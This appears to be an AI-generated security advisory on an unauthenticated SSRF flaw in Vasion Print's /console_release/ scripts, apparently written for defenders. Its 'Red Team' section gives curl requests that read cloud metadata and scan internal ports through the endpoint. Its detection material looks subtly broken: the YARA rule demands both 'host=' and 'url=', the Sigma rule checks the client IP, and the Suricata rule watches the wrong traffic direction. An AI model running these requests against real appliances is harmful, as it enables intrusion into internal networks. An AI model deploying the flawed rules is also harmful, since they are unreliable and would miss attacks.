CVE-2025-34225

Executive Summary

CVE-2025-34225 is a critical Server-Side Request Forgery (SSRF) vulnerability affecting Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.1.102 and Application prior to version 25.1.1413. The vulnerability resides in the /console_release/ directory, which is exposed to the internet without any authentication. This directory contains dozens of PHP scripts that construct URLs from user-controlled input and pass them to curl_exec() or file_get_contents() without adequate validation. Although some scripts attempt to use filter_var() for mitigation, the checks are incomplete and can be bypassed.

An unauthenticated remote attacker can exploit this flaw to force the server to issue HTTP requests to arbitrary internal or external hosts. This enables internal network reconnaissance, potential pivoting to other internal services, and data exfiltration. The vulnerability has been confirmed as remediated, but the exact patch date is unclear.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise print management appliance. The risk is primarily to the appliance’s internal network and any services reachable from it.

CVSS Breakdown & Threat Level

CVSS Score: 7.5 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions or race conditions are required.
• Privileges Required (PR): None – The endpoint is unauthenticated.
• User Interaction (UI): None – No user action is needed.
• Scope (S): Unchanged – The vulnerable component and the affected resource are the same.
• Confidentiality (C): High – An attacker can read internal resources (e.g., cloud metadata, internal services).
• Integrity (I): Low – Limited ability to modify data via SSRF (e.g., writing to internal APIs).
• Availability (A): None – No direct impact on availability.

Threat Level: High. The lack of authentication and the ability to scan internal networks makes this a prime target for initial access and lateral movement.

Deep Dive & Mechanics

The vulnerability is rooted in the /console_release/ directory of the Vasion Print Virtual Appliance. This directory is accessible from the internet without any authentication. Inside, there are dozens of PHP scripts that handle various administrative and diagnostic functions. Many of these scripts accept user-supplied parameters (e.g., host, url, ip) and use them to construct a URL that is then fetched using curl_exec() or file_get_contents().

The intended functionality likely involves checking the reachability of printers or other network services. However, the input validation is insufficient. While some scripts call filter_var($url, FILTER_VALIDATE_URL), this filter can be bypassed using schemes like file://, gopher://, or by using DNS rebinding. Additionally, the validation may not check for internal IP ranges (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, or 127.0.0.0/8).

An attacker can supply a hostname like http://169.254.169.254/latest/meta-data/ to retrieve cloud instance metadata, or http://internal-service:8080/admin to interact with internal services. The response from the internal resource is then returned to the attacker, enabling reconnaissance and potential exploitation.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
$host = $_GET['host'];
$url = "http://" . $host . "/status";
if (filter_var($url, FILTER_VALIDATE_URL)) {
    $response = file_get_contents($url);
    echo $response;
}
?>

The above code only checks if the URL is valid, but does not restrict the host to allowed ranges. An attacker can pass 169.254.169.254 as the host.

Patched Code (Conceptual):

<?php
$host = $_GET['host'];
$allowed_hosts = ['printer1.local', 'printer2.local'];
if (!in_array($host, $allowed_hosts)) {
    die("Host not allowed.");
}
$url = "http://" . $host . "/status";
if (filter_var($url, FILTER_VALIDATE_URL) && parse_url($url, PHP_URL_HOST) === $host) {
    $response = file_get_contents($url);
    echo $response;
}
?>

The patched version uses a whitelist of allowed hosts and validates that the host in the URL matches the original input, preventing host header manipulation.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable Vasion Print Virtual Appliance (version < 25.1.102) in an isolated lab network.
2. Set up a simple internal HTTP server (e.g., Python http.server) on a private IP (e.g., 10.0.0.2) to simulate an internal service.
3. Ensure the appliance has network access to the internal server.

Exploitation Steps:

1. Identify the /console_release/ directory on the target appliance (e.g., https://target-va/console_release/).
2. Locate a PHP script that accepts a host or url parameter. For example, check_printer.php?host=.
3. Craft a request to probe internal resources:

   curl -k "https://target-va/console_release/check_printer.php?host=10.0.0.2:8000"
   

4. If the script returns the content of the internal server, the SSRF is confirmed.
5. For cloud environments, attempt to access metadata endpoints:

   curl -k "https://target-va/console_release/check_printer.php?host=169.254.169.254/latest/meta-data/"
   

6. Use the SSRF to scan internal ports by iterating through IPs and ports:

   for port in 80 443 8080 3306; do
       curl -k "https://target-va/console_release/check_printer.php?host=10.0.0.1:$port"
   done
   

Blue Team

Detection:

• Monitor outbound HTTP requests from the Vasion Print appliance to unexpected internal IPs (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16).
• Alert on requests to cloud metadata IPs (169.254.169.254) or loopback addresses (127.0.0.1).
• Look for anomalous patterns in web server logs, such as repeated requests to /console_release/ scripts with varying host parameters.

Mitigation:

• Immediately upgrade to Vasion Print Virtual Appliance Host 25.1.102 or Application 25.1.1413.
• If patching is not possible, restrict access to the /console_release/ directory using a web application firewall (WAF) or network ACLs to allow only trusted IPs.
• Disable or remove the /console_release/ directory if not required.
• Implement network segmentation to limit the appliance’s ability to reach internal services.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests from the Vasion Print appliance to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
  • Requests to 169.254.169.254 (cloud metadata) or 127.0.0.1.
  • Unusual User-Agent strings in requests originating from the appliance (e.g., PHP’s default stream wrapper).
• File IOCs:
  • Log entries in /var/log/httpd/access_log or similar containing /console_release/ with suspicious host parameters.
• Process IOCs:
  • PHP processes (php-fpm, php-cgi) making outbound connections to internal IPs.

Detection Engineering

YARA Rule

rule CVE_2025_34225_SSRF_Vasion_Print {
    meta:
        description = "Detects exploitation attempts of CVE-2025-34225 SSRF in Vasion Print"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-34225"
    strings:
        $s1 = "/console_release/" ascii wide nocase
        $s2 = "host=" ascii wide nocase
        $s3 = "url=" ascii wide nocase
        $s4 = "169.254.169.254" ascii wide nocase
        $s5 = "10." ascii wide nocase
        $s6 = "192.168." ascii wide nocase
        $s7 = "172." ascii wide nocase
    condition:
        all of ($s1, $s2, $s3) and any of ($s4, $s5, $s6, $s7)
}

Sigma Rule

title: CVE-2025-34225 SSRF Exploitation Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests to internal IPs from Vasion Print appliance
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-stem|contains: "/console_release/"
        cs-uri-query|contains: "host="
    internal_ip:
        c-ip|startswith:
            - "10."
            - "192.168."
            - "172.16."
            - "172.17."
            - "172.18."
            - "172.19."
            - "172.20."
            - "172.21."
            - "172.22."
            - "172.23."
            - "172.24."
            - "172.25."
            - "172.26."
            - "172.27."
            - "172.28."
            - "172.29."
            - "172.30."
            - "172.31."
            - "169.254."
            - "127."
    condition: selection and internal_ip
falsepositives:
    - Legitimate internal printer checks (if whitelisted)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-34225 SSRF Exploitation Attempt";
    flow:to_server,established;
    content:"/console_release/"; http_uri;
    content:"host="; http_uri;
    pcre:"/host=(10\.|192\.168\.|172\.(1[6-9]|2[0-9]|3[01])\.|169\.254\.|127\.)/Ui";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to Vasion Print Virtual Appliance Host 25.1.102 or Application 25.1.1413. Contact Vasion support for patch details.
2. Access Control: If patching is delayed, restrict access to /console_release/ using a WAF or firewall rule to allow only trusted management IPs.
3. Disable Unused Features: Remove or disable the /console_release/ directory if it is not required for operations.

Long-Term Measures:

• Implement strict input validation and whitelisting for all user-supplied URLs in the application.
• Use network segmentation to isolate the Vasion Print appliance from sensitive internal services.
• Deploy a web application firewall (WAF) with SSRF protection rules.
• Regularly audit and update all software components.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.